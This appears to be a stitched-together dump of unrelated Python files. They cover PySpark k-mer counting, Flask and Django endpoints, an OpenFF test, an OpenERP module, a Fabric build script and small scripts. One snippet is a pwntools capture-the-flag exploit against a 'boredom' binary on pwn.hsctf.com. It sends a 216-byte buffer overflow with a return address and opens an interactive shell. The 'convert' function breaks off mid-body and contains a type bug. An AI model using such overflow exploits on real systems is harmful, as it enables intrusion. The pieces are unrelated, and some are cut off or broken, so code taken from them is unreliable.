    return kmerDf

def groupBy(kmerDf, *cols, func=F.sum, sep=' '):
    nParts = kmerDf.rdd.getNumPartitions()

    ## Sum the counts for each Kmer
    x = (
        kmerDf
        .groupby(*cols, KMER_COL_NAME)
        .agg(func(COUNT_COL_NAME).alias(COUNT_COL_NAME))
    )

    ## Sum the lengths of each sequence
    y = (
        kmerDf
        .select(*cols, *KMERDF_SEQINFO_COL_NAMES).distinct()
        .groupby(*cols)
        .agg(func(SEQLEN_COL_NAME).alias(SEQLEN_COL_NAME))
    )

    ## Join the tables and format the columns
    if (len(cols) == 0):
        kmerDf = x.crossJoin(y)
        kmerDf = kmerDf.withColumn(SEQID_COL_NAME, F.lit('GroupedCounts'))
        kmerDf = kmerDf.select(*KMERDF_COL_NAMES)

    else:
        kmerDf = x.join(y, on=[*cols], how='left')
        kmerDf = kmerDf.withColumn(SEQID_COL_NAME, F.concat_ws(sep, *cols))
        kmerDf = kmerDf.select(*KMERDF_COL_NAMES)

    return kmerDf

def groupRevComp(kmerDf):
    def _f(df):
        ## Create a column containing the reverse complement of each sequence
        f = lambda x: '-'.join(sorted(x))
        df['revComp'] = df[KMER_COL_NAME].apply(seqToRevComp)
        df[KMER_COL_NAME] = df[[KMER_COL_NAME, 'revComp']].apply(f, axis=1)

        ## Sum up the counts of complementary K-mers, and double the counts
        ## for the total frequency of each K-mer.
        df = (df.groupby([*KMERDF_SEQINFO_COL_NAMES, KMER_COL_NAME])
            .sum(numeric_only=True) * 2)
        df = df.reset_index()
        return df

    kmerDf = kmerDf.select(KMERDF_COL_NAMES)
    kmerDf = (kmerDf.groupby(KMERDF_SEQINFO_COL_NAMES)
        .applyInPandas(_f, schema=kmerDf.schema))
    return kmerDf

#------------------- Private Classes & Functions ------------#

def _toProbabilities(kmerPdf):
    total = kmerPdf[COUNT_COL_NAME].sum()
    kmerPdf[COUNT_COL_NAME] = kmerPdf[COUNT_COL_NAME] / total
    kmerPdf[COUNT_COL_NAME] = kmerPdf[COUNT_COL_NAME]
    return kmerPdf

def _toL2Normalised(kmerPdf):
    counts = kmerPdf[COUNT_COL_NAME].values.reshape(1, -1)
    kmerPdf[COUNT_COL_NAME] = preprocessing.normalize(counts)[0]
    kmerPdf[COUNT_COL_NAME] = kmerPdf[COUNT_COL_NAME]
    return kmerPdf

#------------------- Private Classes & Functions ------------#

#------------------- Main -----------------------------------#

if (__name__ == "__main__"):
    main()

#------------------------------------------------------------------------------


import sys
from flask import request
from flask_restful import Resource
sys.path.append('/home/pawan/PycharmProjects/StudentApp')
from usecases.student_usecase import get_student, add_student, delete_student,  update_student, get_students

class Student(Resource):
    # get particular student details
    def get(self):
        token = request.headers.get('Authorization')
        data = request.get_json()
        res = get_student(token, data)
        return res

    # add particular student details
    def post(self):
        token = request.headers.get('Authorization')
        data = request.get_json()
        res = add_student(token, data)
        return res

    # delete particular student details
    def delete(self):
        token = request.headers.get('Authorization')
        data = request.get_json()
        res = delete_student(token, data)
        return res

    # update branch of particular student
    def put(self):
        token = request.headers.get('Authorization')
        data = request.get_json()
        res = update_student(token, data)
        return res

class Students(Resource):

    # fetch details of all the students
    def get(self):
        token = request.headers.get('Authorization')
        res = get_students(token)
        return res


from flask import flash, jsonify
from datetime import datetime
import json

def get_all_properties(properties):
    try:
        listofRooms = []
        for room in properties.find({}):
            roomID = json.dumps(room['_id'],default=str)
            userID = json.dumps(room['userID'],default=str)
            description = room['description']
            image = room['images'][0]
            rating = room['ratings']
            disabled = room['disabled']
            isPromoted = room['isPromoted']
            isPetAllowed = room['isPetAllowed']
            rent = room['rent']
            date = room['Availability']
            bedrooms = room['Bedrooms']
            bathrooms = room['Bathrooms']
            dict_room = {
                'roomID':roomID,
                'userID':userID,
                'image': image,
                'rating': rating,
                'isPromoted':isPromoted,
                'rent': rent,
                'disabled': disabled,
                'description': description,
                'isPetAllowed': isPetAllowed,
                'date': date,
                'bedrooms': bedrooms,
                'bathrooms': bathrooms
            }
            listofRooms.append(dict_room)
        #print(listofRooms)
        return jsonify({"Data":listofRooms,"Status":"Success"})
    except Exception as e:
        return jsonify({"msg" : 'Some internal error occurred!', "error": str(e)})


import json
import sys

from django.core.management.base import BaseCommand

from food.models import Ingredient

class Command(BaseCommand):
    """
    Команда для извлеения данных из csv.
    Запуск python manage.py command имя сsv файла.
    """
    help = 'Создает Данные из csv, параметр название файла'

    def add_arguments(self, parser):
        parser.add_argument('file', type=str, help='Путь к файлу')

    def handle(self, *args, **kwargs):
        file_name = kwargs['file']
        file = f'data/{file_name}.json'
        try:
            with open(file, "r", encoding="utf-8-sig") as json_file:
                data = json.load(json_file)
                for row in data:
                    Ingredient.objects.update_or_create(
                        **row
                    )
        except IOError:
            print("Нет файла!")
            sys.exit()


import pytest
from openff.toolkit.topology import Topology
from openff.toolkit.typing.engines.smirnoff.parameters import (
    AngleHandler,
    ParameterHandler,
)

from openff.interchange._tests import _BaseTest
from openff.interchange.exceptions import InvalidParameterHandlerError
from openff.interchange.smirnoff import SMIRNOFFAngleCollection, SMIRNOFFCollection

class TestSMIRNOFFCollection(_BaseTest):
    def test_allowed_parameter_handler_types(self):
        class DummyParameterHandler(ParameterHandler):
            pass

        class DummySMIRNOFFCollection(SMIRNOFFCollection):
            type = "Bonds"
            expression = "1+1"

            @classmethod
            def allowed_parameter_handlers(cls):
                return [DummyParameterHandler]

            @classmethod
            def supported_parameters(cls):
                return list()

        dummy_handler = DummySMIRNOFFCollection()
        angle_Handler = AngleHandler(version=0.3)

        assert DummyParameterHandler in dummy_handler.allowed_parameter_handlers()
        assert AngleHandler not in dummy_handler.allowed_parameter_handlers()
        assert (
            DummyParameterHandler
            not in SMIRNOFFAngleCollection.allowed_parameter_handlers()
        )

        dummy_handler = DummyParameterHandler(version=0.3)

        with pytest.raises(InvalidParameterHandlerError):
            SMIRNOFFAngleCollection.create(
                parameter_handler=dummy_handler,
                topology=Topology(),
            )

        with pytest.raises(InvalidParameterHandlerError):
            DummySMIRNOFFCollection.create(
                parameter_handler=angle_Handler,
                topology=Topology(),
            )


from pwn import *

if len(sys.argv) > 1:
    sh = remote('pwn.hsctf.com', 5002)
else:
    sh = process('./boredom')

gdb.attach(sh)
p = "a"*216
p+=p64(0x4011d5)

sh.sendline(p)

sh.interactive()


from osv import osv, fields

class account_invoice(osv.osv):
    _inherit = "account.invoice"

    def _get_sale_note(self, cr, uid, ids, name, arg, context=None):
        res = {}
        if not ids:
            return res
        cr.execute('SELECT sol.invoice_id, so.id, so.note '\
                   'FROM sale_order so '\
                   'INNER JOIN sale_order_invoice_rel sol '\
                   'ON so.id = sol.order_id '\
                   'WHERE sol.invoice_id IN %s'\
                   'ORDER BY so.id DESC',
                   (tuple(ids),))
        for r in cr.fetchall():
            res.setdefault(r[0], '')
            res.update({r[0]: r[2]})
        return res

    _columns = {
        'sale_note': fields.function(_get_sale_note, type='text', string='Sale Order Note', readonly=True),
    }

account_invoice()


#-*- coding:utf-8 -*-

"""JsHamcrest build script.
"""

import re
import cStringIO as StringIO

from fabric.api import *

# Project
env.project   = 'jshamcrest'
env.version   = '0.6.4'
env.full_name = '%s-%s' % (env.project, env.version)

# Build output
env.build_dir     = 'build'
env.dist_dir      = 'dist'
env.rev_info_file = '%s/_rev_info.txt' % (env.build_dir,)

# Output script files
env.js             = '%s/%s.js' % (env.build_dir, env.project)
env.js_version     = '%s/%s.js' % (env.build_dir, env.full_name)
env.js_min         = '%s/%s-min.js' % (env.build_dir, env.project)
env.js_min_version = '%s/%s-min.js' % (env.build_dir, env.full_name)

# Test
env.test_dir    = 'test'
env.web_browser = 'firefox'

# Documentation
env.doc_dir      = 'doc'
env.doc_build    = '%s/_build' % env.doc_dir
env.doc_dir_html = '%s/html'  % env.doc_build
env.doc_dir_pdf  = '%s/latex' % env.doc_build
env.doc_pdf      = '%s/JsHamcrest.pdf' % env.doc_dir_pdf
env.doc_remote   = '/home/destaquenet/public_html'

# Source code
env.src_dir   = 'src'
env.src_files = (
    'jshamcrest',
    'core',
    'number',
    'text',
    'object',
    'collection',
    'operator',
    'integration',
)

# Remote server
env.hosts = ['destaquenet.com']

# Constants
_PATTERN_COMMIT_HASH = re.compile('commit\W+([0-9a-f]+)')
_PATTERN_COMMIT_DATE = re.compile('Date:\W+(.*)')

@runs_once
def clean():
    """Resets the build output directories.
    """
    local('rm -fR %s %s' % (env.build_dir, env.dist_dir))
    local('mkdir -p %s %s' % (env.build_dir, env.dist_dir))

@runs_once
def build():
    """Builds the final script and writes it to the disk.
    """
    _set_revision_info()
    _replace_tokens()
    content = env.src_content.readlines()
    file(env.js, 'w').writelines(content)
    local('cp %s %s' % (env.js, env.js_version))

@runs_once
def pack():
    """Creates a minified version of the final script using the Google Closure
    Compiler service.
    """
    build()
    local('python lib/closure_compiler_cli.py -f %s > %s' % (env.js, env.js_min))
    local('cp %s %s' % (env.js_min, env.js_min_version))

def test():
    """Opens the test suite on a web browser.
    """
    pack()
    web_browser = prompt('Please choose your web browser', \
            default=env.web_browser)
    local('%s %s/testSuite.html &' % (web_browser, env.test_dir))

@runs_once
def doc_clean():
    """Resets the doc output directories.
    """
    local('cd %s; make clean;' % env.doc_dir)

def doc_html():
    """Builds the HTML documentation.
    """
    doc_clean()
    local('cd %s; make html' % env.doc_dir)

def doc_pdf():
    """Builds the PDF documentation."
    """
    doc_clean()
    local('cd %s; make latex' % env.doc_dir)
    local('cd %s; make all-pdf' % env.doc_dir_pdf)

def doc():
    """Builds the documentation both in HTML and PDF.
    """
    doc_clean()
    doc_html()
    doc_pdf()

def zip_doc():
    """Creates a zip file with the complete documentation.
    """
    pack()
    doc()
    local('cp %s %s' % (env.doc_pdf, env.doc_dir_html))
    local('cp %s %s' % (env.js, env.doc_dir_html))
    local('cp %s %s' % (env.js_min, env.doc_dir_html))
    local('cd %s; cp -R html %s; zip -r9 %s.zip %s' %
            ((env.doc_build,) + (env.project,) * 3))

def deploy():
    """Deploys the website.
    """
    zip_doc()
    put('%s/%s.zip' % (env.doc_build, env.project), env.doc_remote)
    run('cd %s; rm -R %s; unzip %s.zip; rm %s.zip' %
            ((env.doc_remote,) + (env.project,) * 3))

def _set_revision_info():
    """Reads information about the latest revision.
    """
    clean()
    local('git rev-list --all --max-count=1 --pretty > %s' % env.rev_info_file)
    rev_info = file(env.rev_info_file, 'r').read()
    env.commit_hash = _PATTERN_COMMIT_HASH.findall(rev_info)[0]
    env.commit_date = _PATTERN_COMMIT_DATE.findall(rev_info)[0]

def _read_files():
    """Reads and joins the source files.
    """
    env.src_content = StringIO.StringIO()
    for file_name in env.src_files:
        file_path = '%s/%s.js' % (env.src_dir, file_name)
        env.src_content.writelines(file(file_path, 'r').readlines())

def _replace_tokens():
    """Replaces the tokens found in the source code.
    """
    _read_files()
    content = env.src_content.getvalue()
    env.src_content = StringIO.StringIO()

    content = content.replace('@VERSION', env.version)
    content = content.replace('@REV', env.commit_hash)
    content = content.replace('@DATE', env.commit_date)

    env.src_content.write(content)
    env.src_content.seek(0)


# function to convert "key" from a string of chars to a list of ints
def convert(key):
    keylength = len(key)
    realkey = []

    # loop over key and convert non-numbers into ints
    for i in key:
        if i.is_integer() == False:
            if i.isupper():
                realkey.append(ord(i) % ord('A') + 1)


from .fetch import Parser
from .gac_sach import GacSach
import click
from typing import Dict, List
class Context():
    def __init__(self, parser: Parser):
        self._parser = parser

    def run(self):
        return self._parser.get_chapter_content()

    @property
    def parser(self) -> Parser:
        return self.strategy

    @parser.getter
    def parser(self, parser: Parser) -> None:
        self._parser = parser

def main():
    link = "https://gacsach.online/di-qua-hoa-cuc_nguyen-nhat-anh.full"
    context = Context(GacSach(link))
    content = context.run()
    export_docx("Đi qua hoa cúc", content)

def export_docx(heading: str, content: List):
    book = Document()
    file_name = f"{heading}.docx"
    book.add_heading(heading, 0)
    for i in content:
        for (key, value) in i.items():
            if key == "title":
                book.add_heading(value, level = 1)
            if key == "content":
                book.add_paragraph(value)
    book.save(file_name)
    print(file_name)
if __name__ == "__main__":
    main()


def update(count):
    array=[]
    for i in range(len(count)):
        array.append([count[i],i])
    array.sort(reverse=True)
    return array
num=int(input())
temp=input().split()
array=[]
count=[]
result=0
for i in range(num):
    array.append([int(temp[i]),i])
    count.append(int(temp[i]))
array.sort(reverse=True)
while len(count)!=0:
    result=result+array[0][0]
    number=array[0][1]
    if number<len(count)-1:
        count.pop(number+1)
    count.pop(number)
    if number>0:
        count.pop(number-1)
    array=update(count)
print(result)